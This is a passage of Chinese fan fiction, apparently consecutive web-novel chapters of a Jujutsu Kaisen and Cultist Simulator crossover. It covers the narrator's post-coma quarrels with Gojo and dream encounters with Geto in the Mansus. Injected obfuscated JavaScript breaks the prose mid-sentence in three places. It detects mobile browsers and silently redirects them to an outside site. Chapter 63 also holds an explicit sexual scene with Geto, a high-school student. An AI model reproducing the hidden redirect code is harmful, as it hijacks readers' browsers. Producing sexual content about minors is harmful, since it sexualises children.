有些长生者还挺喜欢你有时提供的小零食的。 吃不饱不是什么问题。 在杯的领域之内,你们也没谁能真正实现长久的饱足。 有些觉得咒灵不堪入目,你不感到稀奇,毕竟这个你也是不吃的。 徘徊在漫宿之中,一段时间后,你决定今天的目标是光之果园。 说到这个你不经常过去的地方,除了发光果实和令人平静的雾气,它还有桩趣事值得提及。漫宿无墙,但它有门扉。这个概念或许就像无围墙小区和单元门锁一样…… 谁也说不好,当初铸就漫宿的存在到底希不希望全部的生物都能进来。 最靠近光之果园的门扉是纯白之门。 经由此门步入漫宿的外来者,会将自己的声音留在门外,类似于人从熙攘街道步入图书馆。但不同的是,步入纯白之门的任何生物会弄丢自己的全部声音,变成哑巴,强制消音,直到他们再从门里出去。 你在万籁平和的深夜里来此漫步,古老骄阳的残余辉光在其死亡后五百多年抵达你身上。 你瞧见了正在抬手撷取一颗果实的夏油杰。看后脑勺你就能认出这是他。 最近碰见他的频率是不是有点高了? 浓郁的雾气也挡不住你在静谧户外发出的疑惑声音,在你见到他后,他也同样看见了你。 夏油杰赠与你一颗馥郁甜蜜的金色果子。 “真好,你开始干农活了。”浓烈的香气迸发在你齿舌间,你还对他说话。 他张开嘴,可一个字都没法从喉咙里窜出来,你只能看见他整齐的白色牙齿和红色的口腔和黑洞洞的咽喉。 “隔壁的一位温和女士称凡人前来的过程为巡礼,很久以前我也来此处(光之果园)巡礼,当然说是朝圣我也不介意。”特蕾莎是谦逊的学者,而且温柔,她比你对漫游者亲近得多,也更不吝啬:“现在……你该回去了。” 作为一个刚接受过别人赠礼的人,你做的有点差劲。哪有人吃完果子就想赶送礼者走的? 你就仗着他说不出话欺负他。 夏油杰在梦中,你意识到,在梦里,他欠缺的那部分是克制。他的那双手,在梦外最常攥紧的是拳头。现在,他用双手拥抱你,在一个无法发声的地方,他的行动弥补了听觉感官上缺失的热烈。 等夏油的手心终于离开你的后腰和肩膀,你能在他的眼里看到很多担忧。 “对,这时候按理说我还在昏迷。”你会对一个擅长遗忘的人倾吐秘密:“我让七海生气了,再说我不愿意应付辅助监督。” 会有很多问题,很多调查等你配合,多躺一会无碍。 你明确了时间,只要在因为吃不到饭而输液之前醒来就没事,具体为--再过一晚。 七海生气了,而你暗搓搓地躲在一边,把事情都交给了这个受惊又生气的17岁同学。他在上个月刚过完三七分的生日。 你准备更坏,然后转脸把有话说不出的夏油杰丢出了梦境。 在离开前,他还拽着你的手不放。 你对目含担忧的少年做了一些他可能会喜欢但绝不会承认的事情。兴许时机不妙,他在醒来后会觉得自己……良心不好。 闲来无事,你还模拟了一下夏油杰的自我谴责:星夏都昏迷了你怎么可以这样梦见她呢!禽兽! 不太对,夏油不像是会这样谴责自己的类型。 你颇有兴致地绕路从甘甜果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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你不是对漫宿外会发生的事情无所知觉,只是经过一番权衡,你的选择是先睡两天。 在你醒来的时候,你下意识舔了舔嘴唇。 然后你后知后觉感受到一种名为愧疚的情绪,打从你对上那双困倦但惊喜的蓝色眼睛后。 “哦,”这是恍然大悟的轻呼,你先前都忘记了这点,还有个男友在等你。“晚上好。” 五条悟什么也没说,他把手里面包丢在病床上,紧紧的抱着你。 直到你感觉到一把骨头都被他攥紧而轻轻拍他。 他才像对待易碎品一样轻轻称呼你为赖床精:“你知道自己睡了多久么?” “两天。” “哼,你还知道要醒来。”他快速地撇了你一眼,又急忙忙移开视线。“我以为你要睡个十年八年。” “那不成植物人了吗?”人还是得吃饭,你拿起他丢下的面包,以往你不吃别人剩的东西。现在你饿了,而且他是你男朋友,你扯开塑料袋往他的牙齿印上继续补一口。 有一个更深的咬痕出现在圆圆的面包上,它成了月牙。而你吃到了中间的奶油。 “喂,那是我的面包!” “吃你口碳水把你急的哟。”你又深入进攻攻坚,它变成了一个【U】。 “……可是我咬过了。” 你把U吃成J的过程耽误了时间,工程结束后你淡定告诉他:“亲嘴的时候倒没见你扭捏。” 现在你的胃不太疼了。 身体是会在入不敷出的时候抗议的,你快速镇压。 五条悟根本说不过你,他现在一方面在生闷气,却又还是很喜悦你能清醒。很快他给自己找好了理由,又亲亲热热凑过来和你说话:“这是我的晚餐,你要怎么补偿我?” “刷牙,上厕所,换衣服。”这是你接下来要做的事情。“然后我们去吃饭?我请客。对了总监部有没有把包括精神补偿和误工费在内的钱款打给我?” 听夏油说这次应该有些钱。 “……”五条悟在你的脸上留下一个吻。“你怎么一点也不像昏了几天的样子,泪水呢,感动呢,我这几天可都完全没在睡觉,而且你就就不好奇发生了什么事吗?!” 他的声音停顿了片刻,然后慢慢吞吞地说出了不带感情的话:“虽然,你还算没太弱,好歹把命留下了……” “你这突然转变的反应好像过热保护一样突然断电,看来如果我不在你会挺伤心呢。” 当五条开始说狠话,目前你探索到两种可能:一是他没意识到问题的严重性,很随意地就冒犯人;二是他的脑袋给自己预设了一个糟糕的结果,然后……他会反过来安慰自己,也不是什么不好接受的事情。 你把腿搁在他床边的大腿上,然后凑过去,他现在是后者。 “小悟,你喜欢我。” 这句话犯了前者的错误--你很随意地说出了冒犯男朋友的话。 你表现得就像你头一次知道这件事,不过确实如此,他又从来没说过这些。 这是头一次表现。 “这是当然的!不然你以为我为什么要和你交往,我很闲吗?!”他一推你的膝盖,你就横着仰倒在窄窄的低质量病床上,它发出吱呀一声。 你不太高兴的男朋友就欺身压上来。 “哦,我知道了,你根本就不觉得我在喜欢你。是不是,铃木星夏。” “你不要把手放在我脖子上。”这时候你想起来自己应该是才从一场艰难任务后的昏迷中刚醒来。“我还虚弱着呢。” “哈?你清醒地知道过了多久,一点也不在意后面的事情,这种事情我根本不想和你计较。啊反正你是遇到什么事情都不会慌张的铃木星夏,就算是只有二级也总会有底牌。只要你愿意说,我总会听着的。” 五条悟接连不断对你说了带有情绪的话,接下来才是重头戏。 “但!是!你这句好像是在说【哇,原来你喜欢我啊?】的话是什么意思啊!我不懂,你能说明白点吗?” …… 五条悟为这几天的情绪找到了一条出口,因为你说了错误的密码,打开了一个潘多拉的盒子。 “我该称赞你终于学会基本加减法了吗?”他急冲冲地讥讽你:“是,因为我是你的男朋友。如果你死掉了我会有点难过。哦对,告诉你另外一个冷知识,正常人都会这样。” 你对他眨眨眼,你在问他,所以呢? 他的锤子打进了棉花,他失望地说:“我不明白,你为什么要这么费力才能理解大家都早就知道的事情。” “星夏。” 五条悟呼出的热热的气碰到你的锁骨,明明只有三十多度,但肌肤就像被灼烧那样难忍。 “我喜欢你,和你在一起很开心,但你……你到底为什么要跟我在一起?”他眉间的皱纹形成一道浅浅的水洼,绵延向眼底的海洋,其中承载着复杂情绪。 因为那天五条悟打算带你去看烟花,你也很开心。他是转瞬即逝的烟花中最高昂激烈的那一支,发出的声响亦最响,你不会错过。 至于你提出的交往,那不完全是冲动的驱使,答案比他的情绪简单许多。 你告诉他:“因为我喜欢你。” 人,总有那么些时候,看到了自己不曾看见过的寻常风景下的靓丽色彩。新发现的、以往忽略的东西不会让你扭捏,于是你非常坦然地接受了这种全新的感情,接受了【比喜欢五条悟本身再多一点】这件事情。 随后你问了他那个问题:“要不要在一起?” 就这样。 “但你没和我说过你喜欢我。直到刚才。”你说。 “啊?我对你--那么关照!”皱纹更深,耸眉瞪眼。 “别讲那些虚无缥缈的事情,我知道你,如果你决定做什么事情你是会说出来的,可你既没和我表明心意,也不向夏油承认这点。” “所以又成我的问题了,你是想说你觉得自己什么都对,对吧星夏!” “我可没这么说--” 你是知道了,每次聊到感情问题上都会出点事,你男朋友或许也有所察觉,一切的言语都只会让事情往更坏的地方游移。 总之就是很难达成一致。 他的头往下压,影子覆盖了你。 你们把彼此交给了一个嘴唇可以另做他用的途径。 也许你们本来也不适合恋爱,谁知道呢,但呼吸和气味是骗不了人的。 谈不了恋爱的人一般也不会亲嘴。 你趁他喘着气压抑欲望的时候加快速度说:“所以毕竟还是我先说的交往。” “……你要不要回忆一下在那之前好几天我就问过你了!”五条悟用那双水汪汪的眼睛瞪你,他的眼角还有缱绻的红印。 你光脚抱着腿,好好穿在你身上两天的病号服无端多了很多褶皱:“你太不真诚了,除了喜欢你到发疯的人,没人会在那种情况下同意。” “那你就不能喜欢我到发疯吗?”他的嘴巴气得撅起来,上面亮莹莹的。 你咽了口唾沫:“我瞧你是发疯了,才说出这样的话。” “哦,那我这两天快疯了,算什么?” “在我担心你,想你的时候,你去了哪里?灵魂出窍?脱体远游?硝子说你生命体征很平稳。” “既然平稳,你怎么会醒不来?” 到最后,五条悟的声音变成了耳语。 “星夏,你在哪里呢?” “我……”这番不算是质问的征询把你困在了回答之中。 他了然地继续小声说:“我知道你不会说的,这是你的秘密。我还知道从我们第一次见面起,你就有秘密。” 五条悟太聪明了,他的眼睛闪发微光,他的脑子一刻不停运转。 去年对夏油杰的坦白是随口而为,后来也发生了一些令你不愉快的事情。现在,五条悟是你的男朋友,你想要冒着失去安全和感情的共同风险告诉他一些线索吗? 那些他并不需要,反而还会扰乱一切的线索。 你主动亲吻了他,然后你把手放在男朋友心口,感受他的心跳不止,他试图推开你,但也没用力。 他小声嘟囔:“大晚上的,你别惹我。我可是年轻男高中生,男高中生啊。” 但你的亲吻和动作都轻柔却不带一点撩拨,你庄严隆重地小声说:“是我对不起你。” 年轻男高中生一下就警惕起来,你不是会轻易道歉的人。倒不如说他没听你说过几次真心的对不起。 “你做了什么?” 你的指尖穿过他掌心外的缝隙,严丝合缝地握拢:“我保证,以后不会了。” 五条悟很好哄,一直这样,会因为一两句软话就温柔。 他说话也像棉花糖一样了:“你又什么都不说。” 你说:“无知带来尊严,你当然也有不知情的自由。” 你又在强词夺理了,你们都知道。 但你对他眼波含情的时候,他无助地捂上了眼睛,并且在那之后给了你宽宥:“那我不问了。但你,星夏……你也别想着永远什么都不告诉我。” 今晚,你瞧见了五条悟光芒闪耀的形象背后另一面,他被动顺从,他也因情所困,所以才甘愿姑且被你牵着走。 重要的是他真的挺喜欢你。 有的时候人表现出在乎不是因为喜欢上别人,恰恰是因为过分喜欢自己。看得出来五条悟排除了这种可能性,好消息,他不是npd。 你们走在月亮下的时候,他还准备给夏油杰发条讯息。被你拦住了:“他在睡觉,不用吵他 。” “……你怎么知道的。”落在你身上的目光探究又多一分。 “今天知道,以后就不会知道了。” 五条悟很乖巧地没再问,但他的手臂把你揽到了怀里。你们两之间,连一道薄薄的缝隙都没有,完全贴近。 他出了个馊主意:“你背我怎么样?我用术式,你不会觉得重的。” “这样做的意图是?”你跟不上节奏了。 他说:“我想你背我,就这样。”简短,透露出的意图不比儿童想做摇摇车更复杂。 一般而言你会拒绝,不仅仅是因为这事从头到尾都荒谬,而且很丢人。 不过今天晚上,你嘴上没放过他,问他:“你是不是没有童年,小时候没被背过啊?” 然后你提溜起他两边的膝盖,高高的他就像树袋熊一样攀在中等身高的你身上了。 “确实没有,你还是第一个背过我的人呢!”五条悟发现了比新大陆更值得惊叹的东西。 “这种第一就不要争了。”他压到了你头发,但你只是抬起头,不拉扯低下。 “说起来,星夏你以前被背过吗?” “没有。” 被这小子抓到了机会。“那你也没童年。” “是,我没有,我很小就进厂打工了。” “进厂,多大?” “12岁不到。” “胡说的吧!” “对对对,乱讲的。” 你们的声音只有蝉作伴,太晚了。 不过好消息是,深夜食堂开到早上。 你们在吧台上吃土豆泥沙拉,里面还有脆脆的油炸碳水和牛油果酱。 你就是在这个时候对聪明的五条悟建议:“你说我们能把岩守女士干掉吗?” “这话是在说?” “我不喜欢她。” “你确实说过这个。”五条悟放下冰块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13967982|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没化的玻璃杯,他只是很惊讶:“到那种程度了吗?” 这个小小的市郊居酒屋里装满了不幸的人,酒气和中产阶级失败的味道在其中发酵,一群痛苦的人中独你们格格不入,你甚至提出了清除计划。 “她头上有一道缝合线的伤疤,额头,太阳穴,瞧不见她头发下面,但我觉得【掀开脑袋】这件事情是可以预见的。” “……” “无论一个冒名顶替的家伙要做什么,人都在高专干了半年,她确实有可能只想过普通生活,但概率不算大,你觉得呢?”年轻人有朝气是好事,你聪明的男朋友有当侦探的潜质,正好你手上有个案子。怎么会有这么巧合的事情? 你对他认真的表情微笑,虎口圈着酒杯晃,冷凝的水珠折射雾蒙蒙的灯光。 “去年,诅咒师袭击辅助监督这件事情,直到6月,涉事人员已经全部死亡,除了一个人。” 五条悟评价你的妄想为:“臆测成分居多,而且我没见到她额头上有你说的伤疤。” “那天我说了以后她可是惊讶地不得了。”岩守绝对有,反而是说着想要一场大清洗这种事情有些危言耸听,你没提。“那种都市传说,撕下别人的皮,套在自己身上,你看过吗?她大概是这种。” “呃,你喝酒喝多了?”五条悟对你比了个耶:“知道这是几吗?” “笨。”眼前的人家产雄厚,实力强盛,会是做事情的好人选。你喝下一口酒:“去查查她,我说的不算,那你就找到档案室然后查阅记录,或者请人跟着。反正到最后,所有人都会揭示自己的真面目,你记得给自己留点反应时间。我以前可是真见过易皮而用的手段。”飞蛾么,最后一句是你的小声嘀咕。 可别被吓一跳。 不管岩守想做什么,偷偷摸摸这么久,你有一定把握她在暗中没什么同盟。孤身一人的家伙,死了就什么也没有了。 所以两点之间直线最短,她没了就是那条直线--沿着她脑袋上虚线剪一刀什么问题都没有。 “明明是你异想天开。”五条悟又伸出手来摸你的头,他还凑近了点,到失焦的时候却停下:“不该让你点酒喝。” 现在他讲话也含蓄了点。 他想亲你,但你嘴上沾了鸩酒。 不能沾酒精的男朋友啊,你的身体走完了剩下的路,在他侧脸印一个吻:“虽然她确实也威胁到我了,不过我和你说这些主要还是为了大家的利益着想。” “真的?”五条悟感觉到你的认真,就反问:“那你怎么今天才说?” “上次你让我去医院看病的,而且你还不陪我去。” “好了好了好了不要再说了。” 你就说就说:“还把我赶下了车。” 直到出了拨开门帘他还在和你说:“是你自己下的车,而且,星夏,你太会惹我生气了。” “是不是只有你觉得问题在我的时刻,你才会肯定我的主体性?” “哈,你又来。”他拽着你的胳膊,走路东倒西歪:“你就是想用难以理解的话给自己挣得辩论优势!休想用这个打倒我。主体性?就算世界上的所有人都去打工,去做低三下四的行当,你也是最后那一批妥协的。” 喔,看来五条先生对你的不屈性格有着格外高的评价。 但很遗憾,你比他料想得随和很多。 “别这样说,我现在天天都在做低三下四的工作。” 你恨不得和所有物种都亲亲热热做一家人,基本上,你有非常明显的前倨后恭倾向。 怎么办呢,起点低的人也要生活。 你敢不搭理五条悟和夏油杰,你敢在漫宿里这么做吗? 那太不敢了。 然后他就像喝醉的人一样开始和你发脾气:“你管做咒术师叫低三下四的工作?!” “不是。” “那和我恋爱很委屈你咯?” “也没有。”他完全没和你在一个频道,你摸摸五条悟俊俏的脸蛋,可怜他:“原来你这样的人在恋爱的时候也会自卑。别这样,小悟,你还是骄傲甚至自负一点的时候更可爱。” “不许这么置身事外啊,我是在和其他人恋爱吗?” “乖乖乖,”你赶紧摸摸他弯下腰时茂盛的头发,“喜欢你的喜欢你的。我和你在一起的时候,不会再有其他人了,答应你,好不好?” 五条悟重重地哼了一声:“你还敢有这种想法!简直是【超·主体性】级别的自大。你和我在一起的时候还能想着谁?” 说来有趣,当他强调几个字眼的时候,声音就如同鸟鸣那样突然高昂,让人不得忽视。 你补充:“我是说夏油,以后不会想着他了,行吗?我的社交圈你也是知道的。”人类的那部分。 你不知道男性脑回路是怎么运作的,但似乎,你的男朋友会有一种【如果你也对我的挚友有点兴趣,这说明你很有眼光,但我果然还是会不高兴。但如果你对他完全无感,那我鉴定为没品。】的奇妙思维。 五条悟本人的身份在男友和挚友中间暧昧不清,不过显而易见的是,他偶尔把别人当回事,夏油杰是个例外的存在。 也就是说,当你说其他人的时候,他想的全是歪瓜裂枣。 所以他现在很高兴,但还要做出一副【这不是你应该做的嘛!】的姿态,然后他问出了那个问题:“难道你们之前做了什么对不起我的事情?” 这个问题是他随口想到的。 然后…… “不是吧,你们真有,真的假的?” 你战术性撩了撩头发:“嗯……” 这沉吟的声音被认为是一句肯定。 “什么时候?什么地方?你们做了什么!我现在就要全部都知道!” 62.第 62 章 你们匆匆忙忙交换了很多的亲吻,其中有五条悟的怒意,还有惊奇,还有……你们刚才饮料的香气。 “如果你不说那我就一直亲你。” 很特别的逼供方式,你们都乐在其中,最后忘记了本来目的。 后来啊,五条悟吵着闹着要背你:“刚刚不就是你背着我的嘛,现在换我了。” “谢谢,我腿脚正常,心智成熟。”你含沙射影。 这个不听话的家伙就跑跳出去几步,一步能有2米,然后在前面背对着你蹲下:“快点上来,我可还没背过谁。一般用无下限的吸力就够了,所以星夏你还是第一个。” “这种第一个也一点不值得骄傲。”你刚才似乎才说过类似的话,不过当你走到他面前的时候,他又转过头看你。 “上来嘛,我想你抱着我。我也会搂紧你。” 瞧,有只猫咪在月亮底下用蓝色的眼睛跟你撒娇。 最后你就挂在他背上,被迫做了一回【情侣间一定要做的事情100件】之一。 “上面有说女方也要背男方吗?”不见得吧。八成是有个聪明脑袋独创。 “我知道你背得动,而且我哪有什么重量,开着术式,根本压不到你!”五条悟这家伙根本就不会背人,这时候还回头。墨镜框还顶到了你额头,你顺手给他摘了。 摘了这个眼镜,他察觉到了某种机会一样,又靠过来想亲你。 【情侣间一定要做的事情100件】之7,背对方走完一条安静的小路并且谈心,失败。 你落在他怀里,他感叹:“还是这样方便。” 方便什么?你没看过那本大作原著,但里头八成讲了些更温馨和健康并且适合青少年的东西。 “我可以摸你的腿吗,丝袜下面的。” 反正绝对不是这样。 “不能。” “杰摸过吗?” 这个问题就很糟糕了,对你和对五条悟乃至夏油杰都是的。 你往他胸膛上靠了靠,然后你说:“算了你摸吧。” “……”你的大腿和丝袜和你都不香了,面色严峻的男朋友问你:“你让他碰你了?你真让了?他怎么敢的,你怎么敢?!” 他的最后一句话最有趣:“我才是你男朋友!” 你抱着五条悟的脖子对他非常生气的脸上又是亲吻又是磨蹭:“知道知道,所以以后不会了。” 他看起来非常想推开你,但终究没有。 你说了一句良心话:“其实不算夏油的问题。” “太好了,你自己还没解决好,就开始帮他说话了。明天你们住一起得了!” “我是说,总之都是我的问题,你也别去问他,行吗?” 五条悟拂开你的手,他不让你碰他的脸了。“你以前什么时候和我打过商量?” 你开始回忆。 “没有!你没有过!现在为了杰,你居然还这样!” 可不是为了夏油杰,那孩子以为自己在做梦呢。 “不是为了他。”你摇头。“我后悔了,我想和你在一起。” “晚了!”五条悟的声音引得枝头夜栖的鸟类都飞走。“你和杰在一起吧,我们分手,分手!” 然后他放下你就大步往高专的方向走。 你能怎么办呢?当然是追上去啦! 他又不瞬移走,又不发动术式推拒你很远,走得再快也都是愿意被你追上的。 到底发生了什么事情让你冒着风险也不得不和五条悟坦白呢,这起源于你该死的冲动。 …… 深红教堂内,你揭开外袍,赤裸胳膊坐在骨制的长椅上,你的皮肉在亡者堆砌的造物上开了花。你正对着金色祭坛,辉光透过红色的彩绘玻璃呈现迷离的紫色。 不远处的具名者和长生者们谈起了往日的欢愉,这欢愉源自漫宿不被允许的□□胶合,有长生者宣誓永远免于床笫之欢,除非有另外一些小窍门。 随后事情就牵扯到了谈话中你不认识的人--他们的同性爱人。 “当她的手抚摸过我的双峰……即便她是男人,这世上最值得一试的禁忌果实也不过如此。”你听见一位崇尚愉悦的同僚如此慨叹,她齿颊衔着一颗汁水四溢的眼球。 当教堂的门被外来者推开的时候,这是你听见的最后一句话。 她说的有点道理。 你赞同。 要不是你正在和男高发展感情,你一定会听她的经验之谈找个女孩。 然后,你就只听见和之前话题无关的窃窃私语了。 他们讨论着怎么会有凡人迷途来此。 那这个家伙可惨咯,毕竟杯的追随者永不饱足,永远贪婪,而且什么都吃。 非常罕见的事情。 毕竟距离这里最近的门扉是牡鹿之门,也是漫宿的第三重关。跨越之后的凡人都可称为通晓者。 都位列于知悉范围内了,怎么还敢独身创魔窟? 你也漫不经心回头。 哎呀,是哪个倒霉蛋呢?也许你会记住这家伙的脸。 在转移视线的途中,在一块偶然经过视线的眼花缭乱的彩绘玻璃上,你瞧见了自己在的二次见面时就一言不合吻上的人。 取材自现世的红色玻璃上记载了某人转身离去的背影。 玻璃上的画面皆取材现实,它能出现在赤红教堂绝非偶然-- 不会吧……你突然觉得不详。 等到你的头调转到正确的方向,你脸上残留的幸灾乐祸也没了,只有不动声色的迷茫。 你遇见了一个羔羊进狼群的迷途人。 他瞧见你时眼睛里只有惊喜,无惧无怕。 这个家伙…… 网络暧昧对象顺着ip地址在饭点闯进公司食堂的无助萦绕了你,他本人还傻愣愣的对自己的莽撞和危险境况一无所知。 你丢下喝到一半的酒杯,抹去嘴角的残液,起身。 十步路,是你距离夏油杰的全部距离,也是你想好未来行动的全部时间。 当你走到他面前的时候,你将带有血腥味的手指贴在他嘴唇上,谨防这家伙再口无遮拦说出什么不该讲的话。 “昨天不是才见过吗,这么想我?” “……” 你的拇指死死地镇压他薄薄的嘴唇,又走近一步。 “昨天还是果园,怎么今天……”他扎好的头发正好方便你行事,你命令夏油杰:“抱我。” 你手松开的时候你还叮嘱了他一句:“不许说话,你必须像昨天一样。” 可等你呼吸埋在他脖颈间,齿关触碰到他的那层薄薄的肌肤时,夏油杰还是没忍住呻吟了一声。 “嗯……” 你只来得及用指甲间戳破他的皮肤,然后啜饮新鲜温热的贡品。 等这个并不漫长的过程结束后,你嘴角的血珠饱满涨大如蜱虫。 你用他的血液给他苍白的脸颊带来点温度,至少看上去红润了点--在你印上不对称的吻,然后用手指不太走心抹开后。 夏油杰被你热情而且超前的反应惊呆了,甚至忘记了眨眼。 你忍不住开始思考,你的同僚们会怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13984479|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么看待你? 一个闯进异性恋陷阱的勇者,一个注定会迈向死亡的傻瓜? 不管了,反正你很快也要跳槽走人。 仰躺在夏油杰的臂弯内,你一拍他的背:“愣着做什么,快走啊,出去。” 听你声音,似乎你们外去以后的事情大有可为。 你还帮忙把他的头向已经关闭的雕花大门扭转,告诉他要往这边走。 你的胳膊支在他挺括的肩膀上,食指绕着他的刘海玩。 你不敢回头看其余具名者和长生者。 等到了门口,你们都能看见精美的浮雕还有上面期待着浇灌的荆棘花朵。夏油杰已经知道接下来他应当做什么来打开这扇门。 你阻止了他,你可不想他和漫宿再有更深的联系,你在他之前将手掌握向姿态轻盈的门上尖刺,它们亟待从厚重的门上脱离,痛饮。 你在这两天失去了一些血,在你一声不吭的时候,夏油杰替你完成了惊呼。 “星--” 比被网友找到现实中更糟糕的事情是什么? 答案:是他还要在众人面前喊出你的网名。 你用刚离开供奉的手掌捂住了他不该说话的嘴唇,弄得他也品尝到了你血液的味道。夏油杰鼻尖以下都有血痕,包括牙齿,像个初尝人脔的……反正不像人类。 门开与门关时都是吱呀一声。 “现在,快滚。” 你讲话已经相当不客气。 夏油杰在抱着你无知无觉又走了一段路以后,直到你掌心的伤口都消失不见,直到你们的肌肤上的血都干涸,他才问:“为什么--” “为什么你不能,你不能死在这呢?”好问题,现在,夏油杰在这里使唤不出任何一只咒灵。在这里,只有一种力量得以通行,那就是司辰的力量。 你也知道,对一个神志不清醒的人咬牙切齿生气是没用的,所以你在说完那一句,只有一句的抱怨后就伸出了还是完好的那只手:“钥匙还我,我知道它在你身上。” 他不肯给,但手捂着的地方明显就靠近心脏。 夏油杰的校服是自己定制的,现在你知道,心脏前有个外套内口袋。 “谢谢你的珍重。”你还虚情假意感谢了他,接着就要强硬取回自己的满意之作。 他用钥匙开启了许多门扉,许多……他的知识和力量还不足以应对其后产物的门扉,潜伏于世界表皮之下的东西正蠢蠢欲动。最差情况,每每他闭合双眼,想入非非,就会到漫宿里接触不可接触的事务,然后摈弃曾知晓的一切。 你确实调侃过夏油杰“恭喜你你快疯了”这种话,但你没真的希望他沉溺于不可久长的快乐,深陷欲壑,在洞开的破绽中将自己牵引到没有边界的黑洞彼方。 他在梦中的坦诚惹人怜爱又让你恼火,夏油杰摸摸握紧了胸口那片衣襟,现在,外套显露出钥匙头的形状。 他竭力压制,不知所措,但拒绝了你。 “……” 用处不大,你勾勾手指就扯破了他的外套,现在,里面空荡荡的,钥匙在你的手中。 “人们常说,最好的死法是在梦中。”在梦中,你又诱哄起你已经说过不会再用杯诓骗的少年。 你说:“但那是因为他们对梦一无所知。在大地上,荒郊野岭也有虫豸与微生物作伴,但辽阔的梦中还有什么呢?除了孤独。亲爱的,它连边境和围墙都没有。漫宿无疆。” 你的眉眼柔和,将钥匙甩到了一边,又扭过夏油杰的脸来,不让他去找寻:“再近点,亲爱的,我有好东西给你瞧。” 63.第 63 章 漫宿中有许多无人居住的居屋,你随手指了一间不属于你的。 拉着夏油杰进去,然后你用身体堵住门。 他的眼睛是镶嵌紫色水晶的锁孔,已经全然对你开放。只要你想,他不会拒绝你的一切。 而你……失去了一些血,在这个迷乱的地方,心理防线也消散的一干二净。 你的身体为一座山峦,山峰驯服了一只迷途的山羊,自上而下的,它饱食树梢上的甜美果实,又淌过光滑平整的腹地,最终…… 夏油杰抬起头,正对上你漆黑的眼珠。 他喉咙里咕哝一声,然后轻声地平静不带讨好地请求你:“--请让我帮你。”骄傲的黑天鹅低下他高贵的头颈,不知疲倦地与禁泉嬉戏,虽说,他早就被征服,现在也只是卸下心防完成低头的最后一步。 你的腿下贴着他饱满的背部肌肉,也和他动作一起,海浪般起伏。欢乐和沉溺的短暂浪花中,强烈、冲破一切的渴望短暂占据了你。 在那之后,他提出更进一步的请求,你当然会爱惜羽毛地拒绝他。 “活着挺好的,我是说,我可以用其他地方代偿。” 他的颈部线条细长,高昂着头时配合披散的头发,正像黑天鹅。现在,靓丽夺目的小动物正在发出难忍的哀鸣。 ……倒也没有那么哀,只是他表情…… 你亲吻了他。 结束后,你又诱哄他舔舐干净你手上的东西,好声好气地对他说了好些夸奖的话,早已被征服的人在甜言蜜语中沉醉,但他的嘴唇还是要找到你的,和你分享属于他的味道。 你接纳了他不同于常人的兴致,毕竟说到底,事情还是启自你的突发奇想与恶趣味。 “你自己的味道怎么样?”在深夜,你问他,他把你牢牢地抱在怀里,紧紧依贴。 从他一股子往你脖颈痒痒处钻的态势看来,夏油杰害羞极了。 他嗓音还低沉着,反问:“你不也尝到了么。” 夏油杰没好意思问你味道怎么样,这几个字是他嘴巴里难以合成的读音,他说不出口。 过了一会,他抱着你问:“你会为了我和悟分手吗?” 也是年级轻轻就到电视剧里演不伦男配了。 你说话也非常符合电视剧里的刻板印象:“当然不会。” 夏油听到你轻巧的随口回答之后低低笑出了声。 你感到疑惑:“怎么了?” “没事。”他摇头的时候头发蹭得你痒痒的。“这样才是你啊,星夏。” “当然是我,还能是谁,你脑袋里能想出那么完整的梦吗?你连该去什么地方都想不明白。” “什么嘛。”夏油杰的笑声断断续续,笑到最后又委屈了起来:“在梦里你都不肯让我高兴点。骗骗我也好啊,至少,还能高兴一会。” 他在梦里像灰蒙蒙的画布上终于上了光油,无论是情绪还是表达都鲜艳动人。 对比外头你觉得稀奇,他一点也不隐忍。 你问:“你希望我答应你什么呢?” “我想和你在一起,想拥抱你,想和你在阳光下亲热。就像……像悟一样。” 最后那句话出来以后他又痛苦起来。 对好友的愧疚和对良心的诘责海藻一样缠住了他,夏油杰像溺水。 “我太差劲了。明明和你已经说不上几句话,还在梦里这样想。”说是这么说,他的脸一点也没从你肩膀上挪开:“如果……” “如果被你知道的话,一定会被厌弃。被发现曾经还算得上朋友的前辈,竟然是这样糟糕的烂人。” 夏油杰说个不停。他开始为难自己:“你还在昏迷啊,星夏。我怎么能--” 他因为你翻转的身体坐在他身上,双手捂住他的口鼻而说不出话,甚至没办法呼吸。 你遮盖的很严实。 他对自己的良知严刑拷打,也真以为你只不过是他思维中的一簇火花,说着说着就到了自己的世界里。你不得不打破忽视,告诉他这里还有个外人。 而且……他对自己的所有责难,最终都要落不少到你身上。 这是一种荒唐,但也是你们两个人共同造就的荒唐。 主体责任还有一部分在你身上。 又来了,他这样的时候会引得你想和他接吻,可他好不容易又提醒了你:其实你还有一个正在交往的男朋友,而你先前鬼使神差也忘记了这点。 有一个人能熟悉漫宿的情景,还能确保自己保持清醒,那就是你。 如果你要给这个困境中的人尊严和怜悯,你就不能给他爱欲和亲昵,就像不能给醉汉更多的酒精:他以为自己需要的,其实是最应当杜绝的。 